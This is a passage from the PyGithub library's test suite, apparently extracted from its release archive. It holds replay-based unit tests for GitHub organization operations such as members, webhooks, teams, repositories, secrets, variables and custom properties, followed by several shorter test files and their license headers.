PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from unittest import mock import github from github.OrganizationCustomProperty import CustomProperty from . import Framework class Organization(Framework.TestCase): def setUp(self): super().setUp() self.org = self.g.get_organization("BeaverSoftware") def testAttributes(self): self.assertIsNone(self.org.advanced_security_enabled_for_new_repositories) self.assertIsNone(self.org.archived_at) self.assertEqual(self.org.avatar_url, "https://avatars.githubusercontent.com/u/12345678?v=4") self.assertEqual(self.org.billing_email, "foo@example.com") self.assertEqual(self.org.blog, "http://www.example.com") self.assertEqual(self.org.collaborators, 9) self.assertEqual(self.org.company, None) self.assertEqual(self.org.created_at, datetime(2014, 1, 9, 16, 56, 17, tzinfo=timezone.utc)) self.assertIsNone(self.org.default_repository_permission) self.assertIsNone(self.org.dependabot_alerts_enabled_for_new_repositories) self.assertIsNone(self.org.dependabot_security_updates_enabled_for_new_repositories) self.assertIsNone(self.org.dependency_graph_enabled_for_new_repositories) self.assertEqual(self.org.description, "BeaverSoftware writes software.") self.assertIsNone(self.org.disk_usage) self.assertIsNone(self.org.display_login) self.assertEqual(self.org.email, "foo@example.com") self.assertEqual(self.org.events_url, "https://api.github.com/orgs/BeaverSoftware/events") self.assertEqual(self.org.followers, 130) self.assertEqual(self.org.following, 1) self.assertEqual(self.org.gravatar_id, None) self.assertEqual(self.org.has_organization_projects, True) self.assertEqual(self.org.has_repository_projects, True) self.assertEqual(self.org.hooks_url, "https://api.github.com/orgs/BeaverSoftware/hooks") self.assertEqual(self.org.html_url, "https://github.com/BeaverSoftware") self.assertEqual(self.org.id, 21341965) self.assertEqual(self.org.is_verified, False) self.assertEqual(self.org.issues_url, "https://api.github.com/orgs/BeaverSoftware/issues") self.assertEqual(self.org.location, "Paris, France") self.assertEqual(self.org.login, "BeaverSoftware") self.assertEqual(self.org.members_allowed_repository_creation_type, "none") self.assertEqual(self.org.members_can_create_internal_repositories, False) self.assertEqual(self.org.members_can_create_pages, True) self.assertEqual(self.org.members_can_create_private_pages, True) self.assertEqual(self.org.members_can_create_private_repositories, False) self.assertEqual(self.org.members_can_create_public_pages, True) self.assertEqual(self.org.members_can_create_public_repositories, False) self.assertEqual(self.org.members_can_create_repositories, False) self.assertEqual(self.org.members_can_fork_private_repositories, False) self.assertEqual(self.org.members_url, "https://api.github.com/orgs/BeaverSoftware/members{/member}") self.assertEqual(self.org.name, "BeaverSoftware") self.assertEqual(self.org.node_id, "AbCdEfG") self.assertEqual(self.org.owned_private_repos, 191) self.assertEqual(self.org.plan.name, "enterprise") self.assertEqual(self.org.plan.private_repos, 999999) self.assertEqual(self.org.plan.space, 123456789) self.assertEqual(self.org.plan.filled_seats, 640) self.assertEqual(self.org.plan.seats, 1024) self.assertIsNone(self.org.private_gists) self.assertEqual(self.org.public_gists, 0) self.assertEqual( self.org.public_members_url, "https://api.github.com/orgs/BeaverSoftware/public_members{/member}" ) self.assertEqual(self.org.public_repos, 121) self.assertEqual(self.org.repos_url, "https://api.github.com/orgs/BeaverSoftware/repos") self.assertIsNone(self.org.secret_scanning_enabled_for_new_repositories) self.assertIsNone(self.org.secret_scanning_push_protection_custom_link) self.assertIsNone(self.org.secret_scanning_push_protection_custom_link_enabled) self.assertIsNone(self.org.secret_scanning_push_protection_enabled_for_new_repositories) self.assertEqual(self.org.total_private_repos, 176) self.assertIsNone(self.org.twitter_username) self.assertEqual(self.org.two_factor_requirement_enabled, True) self.assertEqual(self.org.type, "Organization") self.assertEqual(self.org.updated_at, datetime(2024, 8, 20, 8, 44, 26, tzinfo=timezone.utc)) self.assertEqual(self.org.url, "https://api.github.com/orgs/BeaverSoftware") self.assertEqual(repr(self.org), 'Organization(login="BeaverSoftware")') self.assertEqual(self.org.web_commit_signoff_required, False) def testAddMembersDefaultRole(self): lyloa = self.g.get_user("lyloa") self.assertFalse(self.org.has_in_members(lyloa)) self.org.add_to_members(lyloa, role="member") # 'Pending' members won't be in /orgs/:org/members/:user self.assertFalse(self.org.has_in_members(lyloa)) self.org.remove_from_membership(lyloa) self.assertFalse(self.org.has_in_members(lyloa)) def testAddMembersAdminRole(self): lyloa = self.g.get_user("lyloa") self.assertFalse(self.org.has_in_members(lyloa)) self.org.add_to_members(lyloa, role="admin") # 'Pending' members won't be in /orgs/:org/members/:user self.assertFalse(self.org.has_in_members(lyloa)) self.org.remove_from_membership(lyloa) self.assertFalse(self.org.has_in_members(lyloa)) def testEditWithoutArguments(self): self.org.edit() def testEditWithAllArguments(self): self.org.edit( "BeaverSoftware2@vincent-jacques.net", "http://vincent-jacques.net", "Company edited by PyGithub", "Description edited by PyGithub", "BeaverSoftware2@vincent-jacques.net", "Location edited by PyGithub", "Name edited by PyGithub", ) self.assertEqual(self.org.billing_email, "BeaverSoftware2@vincent-jacques.net") self.assertEqual(self.org.blog, "http://vincent-jacques.net") self.assertEqual(self.org.company, "Company edited by PyGithub") self.assertEqual(self.org.description, "Description edited by PyGithub") self.assertEqual(self.org.email, "BeaverSoftware2@vincent-jacques.net") self.assertEqual(self.org.location, "Location edited by PyGithub") self.assertEqual(self.org.name, "Name edited by PyGithub") def testEditHookWithMinimalParameters(self): hook = self.org.create_hook("web", {"url": "http://foobar.com"}) hook = self.org.edit_hook(hook.id, "mobile", {"url": "http://barfoo.com"}) self.assertEqual(hook.name, "mobile") def testEditHookWithAllParameters(self): hook = self.org.create_hook("web", {"url": "http://foobar.com"}, ["fork"], False) hook = self.org.edit_hook(hook.id, "mobile", {"url": "http://barfoo.com"}, ["spoon"], True) self.assertEqual(hook.name, "mobile") self.assertEqual(hook.events, ["spoon"]) self.assertEqual(hook.active, True) def testCreateTeam(self): team = self.org.create_team("Team created by PyGithub") self.assertEqual(team.id, 189850) def testCreateTeamWithAllArguments(self): repo = self.org.get_repo("FatherBeaver") parent_team = self.org.get_team(141496) maintainer = self.g.get_user("jacquev6") team = self.org.create_team( "Team also created by PyGithub", [repo], "push", "secret", "Description also created by PyGithub", parent_team.id, [maintainer.id], "notifications_disabled", ) self.assertEqual(team.id, 189852) self.assertEqual(team.description, "Description also created by PyGithub") self.assertEqual(team.parent, parent_team) self.assertEqual(team.notification_setting, "notifications_disabled") def testDeleteHook(self): hook = self.org.create_hook("web", {"url": "http://foobar.com"}) self.org.delete_hook(hook.id) def testPublicMembers(self): lyloa = self.g.get_user("Lyloa") self.assertFalse(self.org.has_in_public_members(lyloa)) self.org.add_to_public_members(lyloa) self.assertTrue(self.org.has_in_public_members(lyloa)) self.org.remove_from_public_members(lyloa) self.assertFalse(self.org.has_in_public_members(lyloa)) def testGetPublicMembers(self): self.assertListKeyEqual(self.org.get_public_members(), lambda u: u.login, ["jacquev6"]) def testGetHook(self): hook = self.org.get_hook(257993) self.assertEqual(hook.name, "web") def testGetHooks(self): self.assertListKeyEqual(self.org.get_hooks(), lambda h: h.id, [257993]) def testGetHookDelivery(self): delivery = self.org.get_hook_delivery(257993, 12345) self.assertEqual(delivery.id, 12345) self.assertEqual(delivery.guid, "abcde-12345") self.assertEqual( delivery.delivered_at, datetime(2012, 5, 27, 6, 0, 32, tzinfo=timezone.utc), ) self.assertEqual(delivery.redelivery, False) self.assertEqual(delivery.duration, 0.27) self.assertEqual(delivery.status, "OK") self.assertEqual(delivery.status_code, 200) self.assertIsNone(delivery.throttled_at) self.assertEqual(delivery.event, "issues") self.assertEqual(delivery.action, "opened") self.assertEqual(delivery.installation_id, 123) self.assertEqual(delivery.repository_id, 456) self.assertEqual(delivery.url, "https://www.example-webhook.com") self.assertIsInstance(delivery.request, github.HookDelivery.HookDeliveryRequest) self.assertEqual(delivery.request.headers, {"content-type": "application/json"}) self.assertEqual(delivery.request.payload, {"action": "opened"}) self.assertIsInstance(delivery.response, github.HookDelivery.HookDeliveryResponse) self.assertEqual(delivery.response.headers, {"content-type": "text/html;charset=utf-8"}) self.assertEqual(delivery.response.payload, "ok") def testGetHookDeliveries(self): deliveries = list(self.org.get_hook_deliveries(257993)) self.assertEqual(len(deliveries), 1) self.assertEqual(deliveries[0].id, 12345) self.assertEqual(deliveries[0].guid, "abcde-12345") self.assertEqual( deliveries[0].delivered_at, datetime(2012, 5, 27, 6, 0, 32, tzinfo=timezone.utc), ) self.assertEqual(deliveries[0].redelivery, False) self.assertEqual(deliveries[0].duration, 0.27) self.assertEqual(deliveries[0].status, "OK") self.assertEqual(deliveries[0].status_code, 200) self.assertEqual(deliveries[0].event, "issues") self.assertEqual(deliveries[0].action, "opened") self.assertEqual(deliveries[0].installation_id, 123) self.assertEqual(deliveries[0].repository_id, 456) self.assertEqual(deliveries[0].url, "https://www.example-webhook.com") def testGetIssues(self): self.assertListKeyEqual(self.org.get_issues(), lambda i: i.id, []) def testGetIssuesWithAllArguments(self): requestedByUser = self.g.get_user().get_repo("PyGithub").get_label("Requested by user") issues = self.org.get_issues( "assigned", "closed", [requestedByUser], "comments", "asc", datetime(2012, 5, 28, 23, 0, 0, tzinfo=timezone.utc), ) self.assertListKeyEqual(issues, lambda i: i.id, []) def testGetMembers(self): self.assertListKeyEqual(self.org.get_members(), lambda u: u.login, ["cjuniet", "jacquev6", "Lyloa"]) def testGetOutsideCollaborators(self): self.assertListKeyEqual(self.org.get_outside_collaborators(), lambda u: u.login, ["octocat"]) def testOutsideCollaborators(self): octocat = self.g.get_user("octocat") self.org.convert_to_outside_collaborator(octocat) self.assertListKeyEqual(self.org.get_outside_collaborators(), lambda u: u.login, ["octocat"]) self.org.remove_outside_collaborator(octocat) self.assertEqual(list(self.org.get_outside_collaborators()), []) def testMembers(self): lyloa = self.g.get_user("Lyloa") self.assertTrue(self.org.has_in_members(lyloa)) self.org.remove_from_members(lyloa) self.assertFalse(self.org.has_in_members(lyloa)) def testGetRepos(self): repos = self.org.get_repos() self.assertListKeyEqual(repos, lambda r: r.name, ["FatherBeaver", "TestPyGithub"]) self.assertListKeyEqual(repos, lambda r: r.has_pages, [True, False]) self.assertListKeyEqual(repos, lambda r: r.has_wiki, [True, True]) def testGetReposSorted(self): repos = self.org.get_repos(sort="updated", direction="desc") self.assertListKeyEqual( repos, lambda r: r.name, ["TestPyGithub", "FatherBeaver"], ) self.assertListKeyEqual( repos, lambda r: r.has_pages, [False, True], ) def testGetReposWithType(self): repos = self.org.get_repos("public") self.assertListKeyEqual(repos, lambda r: r.name, ["FatherBeaver", "PyGithub"]) self.assertListKeyEqual(repos, lambda r: r.has_pages, [True, True]) def testGetEvents(self): self.assertListKeyEqual( self.org.get_events(), lambda e: e.type, [ "CreateEvent", "CreateEvent", "PushEvent", "PushEvent", "DeleteEvent", "DeleteEvent", "PushEvent", "PushEvent", "DeleteEvent", "DeleteEvent", "PushEvent", "PushEvent", "PushEvent", "CreateEvent", "CreateEvent", "CreateEvent", "CreateEvent", "CreateEvent", "PushEvent", "PushEvent", "PushEvent", "PushEvent", "PushEvent", "PushEvent", "ForkEvent", "CreateEvent", ], ) def testGetTeams(self): self.assertListKeyEqual(self.org.get_teams(), lambda t: t.name, ["Members", "Owners"]) def testGetTeamBySlug(self): team = self.org.get_team_by_slug("Members") self.assertEqual(team.id, 141496) def testCreateHookWithMinimalParameters(self): hook = self.org.create_hook("web", {"url": "http://foobar.com"}) self.assertEqual(hook.id, 257967) def testCreateHookWithAllParameters(self): hook = self.org.create_hook("web", {"url": "http://foobar.com"}, ["fork"], False) self.assertTrue(hook.active) self.assertEqual(hook.id, 257993) def testCreateRepoWithMinimalArguments(self): repo = self.org.create_repo(name="TestPyGithub") self.assertEqual(repo.url, "https://api.github.com/repos/BeaverSoftware/TestPyGithub") self.assertTrue(repo.has_wiki) self.assertTrue(repo.has_pages) def testCreateRepoWithAllArguments(self): team = self.org.get_team(141496) repo = self.org.create_repo( name="TestPyGithub2", description="Repo created by PyGithub", homepage="http://foobar.com", private=False, visibility="public", has_issues=False, has_projects=False, has_wiki=False, has_downloads=False, team_id=team.id, allow_update_branch=True, allow_squash_merge=False, allow_merge_commit=False, allow_rebase_merge=True, delete_branch_on_merge=False, ) self.assertEqual(repo.url, "https://api.github.com/repos/BeaverSoftware/TestPyGithub2") self.assertTrue(repo.allow_update_branch) self.assertFalse(repo.has_wiki) self.assertFalse(repo.has_pages) def testCreateRepositoryWithAutoInit(self): repo = self.org.create_repo(name="TestPyGithub", auto_init=True, gitignore_template="Python") self.assertEqual(repo.url, "https://api.github.com/repos/BeaverSoftware/TestPyGithub") self.assertTrue(repo.has_pages) self.assertTrue(repo.has_wiki) def testCreateFork(self): pygithub = self.g.get_user("jacquev6").get_repo("PyGithub") repo = self.org.create_fork(pygithub) self.assertEqual(repo.url, "https://api.github.com/repos/BeaverSoftware/PyGithub") self.assertFalse(repo.has_wiki) self.assertFalse(repo.has_pages) def testCreateRepoFromTemplate(self): template_repo = self.g.get_repo("actions/hello-world-docker-action") repo = self.org.create_repo_from_template("hello-world-docker-action-new", template_repo) self.assertEqual( repo.url, "https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new", ) self.assertFalse(repo.is_template) def testCreateRepoFromTemplateWithAllArguments(self): template_repo = self.g.get_repo("actions/hello-world-docker-action") description = "My repo from template" private = True repo = self.org.create_repo_from_template( "hello-world-docker-action-new", template_repo, description=description, include_all_branches=True, private=private, ) self.assertEqual(repo.description, description) self.assertTrue(repo.private) @mock.patch("github.PublicKey.encrypt") def testCreateSecretSelected(self, encrypt): repos = [self.org.get_repo("TestPyGithub"), self.org.get_repo("FatherBeaver")] # encrypt returns a non-deterministic value, we need to mock it so the replay data matches encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" secret = self.org.create_secret( secret_name="secret-name", unencrypted_value="secret-value", visibility="selected", secret_type="actions", selected_repositories=repos, ) self.assertIsNotNone(secret) self.assertEqual(secret.visibility, "selected") self.assertEqual(list(secret.selected_repositories), repos) def testGetSecret(self): repos = [self.org.get_repo("TestPyGithub"), self.org.get_repo("FatherBeaver")] secret = self.org.get_secret("secret-name") self.assertEqual(secret.name, "secret-name") self.assertEqual(secret.created_at, datetime(2019, 8, 10, 14, 59, 22, tzinfo=timezone.utc)) self.assertEqual(secret.updated_at, datetime(2020, 1, 10, 14, 59, 22, tzinfo=timezone.utc)) self.assertEqual(secret.visibility, "selected") self.assertEqual(list(secret.selected_repositories), repos) self.assertEqual(secret.url, "https://api.github.com/orgs/BeaverSoftware/actions/secrets/secret-name") def testGetSecrets(self): secrets = self.org.get_secrets() self.assertEqual(len(list(secrets)), 1) def testGetDependabotSecrets(self): secrets = self.org.get_secrets(secret_type="dependabot") self.assertEqual(len(list(secrets)), 1) def testGetDependabotAlerts(self): alerts = self.org.get_dependabot_alerts() alert_list = list(alerts) self.assertEqual(len(list(alerts)), 8) self.assertEqual(alert_list[0].number, 1) self.assertEqual(alert_list[0].repository.full_name, "BeaverSoftware/PyGithub") def testGetDependabotAlertsWithAllArguments(self): alerts = self.org.get_dependabot_alerts( "open", "medium", "pip", "jinja2", "runtime", "updated", "asc", ) alert_list = list(alerts) self.assertEqual(len(list(alerts)), 1) self.assertEqual(alert_list[0].number, 1) self.assertEqual(alert_list[0].state, "open") self.assertEqual(alert_list[0].security_advisory.severity, "medium") self.assertEqual(alert_list[0].dependency.package.ecosystem, "pip") self.assertEqual(alert_list[0].dependency.package.name, "jinja2") self.assertEqual(alert_list[0].dependency.scope, "runtime") self.assertEqual(alert_list[0].repository.full_name, "BeaverSoftware/PyGithub") def testGetSecretsFail(self): with self.assertRaises(AssertionError) as raisedexp: self.org.get_secrets(secret_type="secret") self.assertEqual("secret_type should be actions or dependabot", str(raisedexp.exception)) def testInviteUserWithNeither(self): with self.assertRaises(AssertionError) as raisedexp: self.org.invite_user() self.assertEqual("specify only one of email or user", str(raisedexp.exception)) def testInviteUserWithBoth(self): jacquev6 = self.g.get_user("jacquev6") with self.assertRaises(AssertionError) as raisedexp: self.org.invite_user(email="foo", user=jacquev6) self.assertEqual("specify only one of email or user", str(raisedexp.exception)) def testInviteUserByName(self): jacquev6 = self.g.get_user("jacquev6") self.org.invite_user(user=jacquev6) def testInviteUserByEmail(self): self.org.invite_user(email="foo@example.com") def testInviteUserWithRoleAndTeam(self): team = self.org.create_team("Team created by PyGithub") self.org.invite_user(email="foo@example.com", role="billing_manager", teams=[team]) def testInviteUserAsNonOwner(self): with self.assertRaises(github.GithubException) as raisedexp: self.org.invite_user(email="bar@example.com") self.assertEqual( raisedexp.exception.message, "You must be an admin to create an invitation to an organization." ) self.assertEqual(raisedexp.exception.status, 403) self.assertEqual( raisedexp.exception.data, { "documentation_url": "https://developer.github.com/v3/orgs/members/#create-organization-invitation", "message": "You must be an admin to create an invitation to an organization.", }, ) def testCreateMigration(self): self.org = self.g.get_organization("sample-test-organisation") self.assertTrue(isinstance(self.org.create_migration(["sample-repo"]), github.Migration.Migration)) def testGetMigrations(self): self.org = self.g.get_organization("sample-test-organisation") self.assertEqual(self.org.get_migrations().totalCount, 2) def testGetInstallations(self): installations = self.org.get_installations() self.assertEqual(installations[0].id, 123456) self.assertEqual(installations[0].app_id, 10101) self.assertEqual(installations[0].target_id, 3344556) self.assertEqual(installations[0].target_type, "User") self.assertEqual(installations.totalCount, 1) def testCreateVariable(self): variable = self.org.create_variable("variable-name", "variable-value", "all") self.assertIsNotNone(variable) def testCreateVariableSelected(self): repos = [self.org.get_repo("TestPyGithub"), self.org.get_repo("FatherBeaver")] variable = self.org.create_variable("variable-name", "variable-value", "selected", repos) self.assertIsNotNone(variable) self.assertEqual(list(variable.selected_repositories), repos) def testGetVariable(self): repos = [self.org.get_repo("TestPyGithub"), self.org.get_repo("FatherBeaver")] variable = self.org.get_variable("variable-name") self.assertEqual(variable.name, "variable-name") self.assertEqual(variable.created_at, datetime(2019, 8, 10, 14, 59, 22, tzinfo=timezone.utc)) self.assertEqual(variable.updated_at, datetime(2020, 1, 10, 14, 59, 22, tzinfo=timezone.utc)) self.assertEqual(variable.visibility, "selected") self.assertEqual(list(variable.selected_repositories), repos) self.assertEqual(variable.url, "https://api.github.com/orgs/BeaverSoftware/actions/variables/variable-name") def testGetVariables(self): variables = self.org.get_variables() self.assertEqual(len(list(variables)), 1) @mock.patch("github.PublicKey.encrypt") def testCreateActionsSecret(self, encrypt): org = self.g.get_organization("demoorg") # encrypt returns a non-deterministic value, we need to mock it so the replay data matches encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" secret = org.create_secret("secret_name", "secret-value", visibility="all") self.assertIsNotNone(secret) @mock.patch("github.PublicKey.encrypt") def testCreateDependabotSecret(self, encrypt): org = self.g.get_organization("demoorg") # encrypt returns a non-deterministic value, we need to mock it so the replay data matches encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" secret = org.create_secret("secret_name", "secret-value", secret_type="dependabot", visibility="all") self.assertIsNotNone(secret) def testOrgGetSecretAssertion(self): org = self.g.get_organization("demoorg") with self.assertRaises(AssertionError) as exc: org.get_secret(secret_name="splat", secret_type="supersecret") self.assertEqual(str(exc.exception), "secret_type should be actions or dependabot") @mock.patch("github.PublicKey.encrypt") def testCreateDependabotSecretSelected(self, encrypt): org = self.g.get_organization("demoorg") repos = [org.get_repo("demo-repo-1"), org.get_repo("demo-repo-2")] # encrypt returns a non-deterministic value, we need to mock it so the replay data matches encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" secret = org.create_secret( secret_name="SECRET_DEP_NAME", unencrypted_value="secret-value", visibility="selected", secret_type="dependabot", selected_repositories=repos, ) self.assertIsNotNone(secret) self.assertEqual(secret.visibility, "selected") self.assertEqual(list(secret.selected_repositories), repos) @mock.patch("github.PublicKey.encrypt") def testOrgSecretEdit(self, encrypt): org = self.g.get_organization("demoorg") repos = [org.get_repo("demo-repo-1"), org.get_repo("demo-repo-2")] # encrypt returns a non-deterministic value, we need to mock it so the replay data matches encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" secret = org.create_secret( secret_name="secret_act_name", unencrypted_value="secret-value", visibility="selected", secret_type="actions", selected_repositories=repos, ) with self.assertRaises(AssertionError) as exc: secret.edit(value="newvalue", secret_type="supersecret") self.assertEqual(str(exc.exception), "secret_type should be actions or dependabot") def testCreateCustomProperties(self): properties = [ CustomProperty( property_name="property_1", value_type="string", required=False, description="description", values_editable_by="org_actors", ), CustomProperty( property_name="property_2", value_type="single_select", required=True, default_value="bar", description="Lorem ipsum", allowed_values=["foo", "bar"], values_editable_by="org_and_repo_actors", ), ] properties = self.org.create_custom_properties(properties) properties_map = {p.property_name: p for p in properties} property_1 = properties_map["property_1"] self.assertEqual(property_1.value_type, "string") property_2 = properties_map["property_2"] self.assertEqual(property_2.description, "Lorem ipsum") def testCreateCustomProperty(self): custom_property = CustomProperty( property_name="property_1", value_type="string", required=True, default_value="foo", description="description", ) created_property = self.org.create_custom_property(custom_property) self.assertEqual(created_property.property_name, "property_1") self.assertEqual(created_property.value_type, "string") self.assertEqual(created_property.required, True) self.assertEqual(created_property.default_value, "foo") self.assertEqual(created_property.description, "description") self.assertIsNone(created_property.url) self.assertEqual(created_property.values_editable_by, "org_actors") def testGetCustomProperties(self): properties = self.org.get_custom_properties() properties_map = {p.property_name: p for p in properties} self.assertIn("property_1", properties_map) self.assertIn("property_2", properties_map) def testGetCustomProperty(self): custom_property = self.org.get_custom_property("property_1") self.assertEqual(custom_property.property_name, "property_1") self.assertEqual(custom_property.value_type, "string") self.assertEqual(custom_property.required, True) self.assertEqual(custom_property.default_value, "foo") self.assertEqual(custom_property.description, "description") self.assertIsNone(custom_property.url) self.assertEqual(custom_property.values_editable_by, "org_actors") def testCreateCustomPropertyValues(self): self.org.create_custom_property_values(["TestPyGithub"], {"property_1": "bar"}) self.testListCustomPropertyValues() def testListCustomPropertyValues(self): repos = list(self.org.list_custom_property_values("repo:BeaverSoftware/TestPyGithub")) repos_map = {r.repository_name: r for r in repos} self.assertIn("TestPyGithub", repos_map) self.assertIn("property_1", repos_map["TestPyGithub"].properties) self.assertEqual(repos_map["TestPyGithub"].properties["property_1"], "bar") def testRemoveCustomProperty(self): self.org.remove_custom_property("property_1") with self.assertRaises(github.UnknownObjectException): self.org.get_custom_property("property_1") def testGetCodeSecurityConfigs(self): configs = list(self.org.get_code_security_configs()) self.assertEqual(configs.pop().id, 17) def testCreateCodeSecurityConfigs(self): config = self.org.create_code_security_config(name="test1", description="This is a description") self.assertEqual(config.name, "test1") self.org.delete_code_security_config(id=config.id) def testGetCodeSecurityConfig(self): config = self.org.get_code_security_config(id=17) self.assertEqual(config.id, 17) def testSetDefaultCodeSecurityConfig(self): self.org.set_default_code_security_config(id=17, default_for_new_repos="all") configs = self.org.get_default_code_security_configs() for config in configs: if config.default_for_new_repos == "all": self.assertEqual(config.configuration.id, 17) def testAttachDetachSecurityConfig(self): config = self.org.create_code_security_config(name="test1", description="This is a description") repo = self.org.get_repo("test1") repo.attach_security_config(id=config.id) status = "unknown" while status != "enforced": repo_config = repo.get_security_config() if repo_config: status = repo_config.status else: status = "unknown" self.assertEqual(config.id, repo_config.configuration.id) repo.detach_security_config() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Organization1437.py0000644000175100001660000000630214756101563017466 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Matthew Neal # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Olof-Joachim Frahm (欧雅福) # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Anuj Bansal # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Organization1437(Framework.TestCase): def setUp(self): super().setUp() self.org = self.g.get_organization("PyGithubSampleOrg") def testCreateProject(self): project = self.org.create_project("Project title", "This is the body") self.assertEqual(project.id, 4115694) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Organization2072.py0000644000175100001660000000716414756101563017471 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Matthew Neal # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Olof-Joachim Frahm (欧雅福) # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Anuj Bansal # # Copyright 2020 Steve Kowalik # # Copyright 2021 James Simpson # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Organization2072(Framework.TestCase): def setUp(self): super().setUp() self.org = self.g.get_organization("TestOrganization2072") def testCancelInvitation(self): self.assertFalse(any([i for i in self.org.invitations() if i.email == "foo@bar.org"])) self.org.invite_user(email="foo@bar.org") self.assertTrue(any([i for i in self.org.invitations() if i.email == "foo@bar.org"])) invitation = [i for i in self.org.invitations() if i.email == "foo@bar.org"][0] self.assertTrue(self.org.cancel_invitation(invitation)) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/OrganizationHasInMembers.py0000644000175100001660000000575714756101563021422 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Matthew Neal # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class OrganizationHasInMembers(Framework.TestCase): def setUp(self): super().setUp() self.user = self.g.get_user("meneal") self.org = self.g.get_organization("RobotWithFeelings") self.has_in_members = self.org.has_in_members(self.user) def testHasInMembers(self): self.assertTrue(self.has_in_members) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/PaginatedList.py0000644000175100001660000003676514756101563017253 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2013 davidbrai # # Copyright 2014 Vincent Jacques # # Copyright 2015 Eliot Walker # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2022 Liuyang Wan # # Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 YugoHino # # Copyright 2024 Enrico Minack # # Copyright 2024 Kian-Meng Ang # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub 